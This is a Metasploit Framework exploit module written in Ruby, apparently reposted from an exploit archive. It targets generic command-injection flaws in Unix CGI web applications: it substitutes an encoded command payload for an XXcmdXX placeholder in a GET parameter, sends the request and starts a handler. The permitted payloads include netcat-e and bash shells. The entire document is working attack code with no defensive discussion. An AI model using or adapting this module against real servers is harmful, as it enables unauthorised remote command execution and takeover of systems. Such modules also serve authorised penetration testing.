Generic Web Application Unix Command Execution

`##  
# $Id: generic_exec.rb 10642 2010-10-11 19:30:57Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Generic Web Application Unix Command Execution',  
'Description' => %q{  
This module can be used to exploit any generic command execution vulnerability  
for CGI applications on Unix-like platforms. To use this module, specify the  
CMDURI path, replacing the command itself with XXcmdXX. This module is currently  
limited to forms vulnerable through GET requests with query parameters.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10642 $',  
'References' =>  
[  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet netcat-e bash',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Nov 14 1993', # CGI historical date :)  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),  
], self.class)  
end  
  
def exploit  
uri = datastore['CMDURI'].to_s  
uri,query = uri.split('?', 2)  
  
if query  
query = query.split('&').map{|var|  
k,v = var.split('=', 2)  
Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))  
}.join('&')  
uri = uri + '?' + query  
end  
  
print_status("Sending HTTP request for #{uri}")  
res = send_request_cgi( {  
'global' => true,  
'uri' => uri  
}, 30)  
  
if res  
print_status("The server responded with HTTP CODE #{res.code}")  
else  
print_status("The server did not respond to our request")  
end  
  
handler  
end  
  
end  
`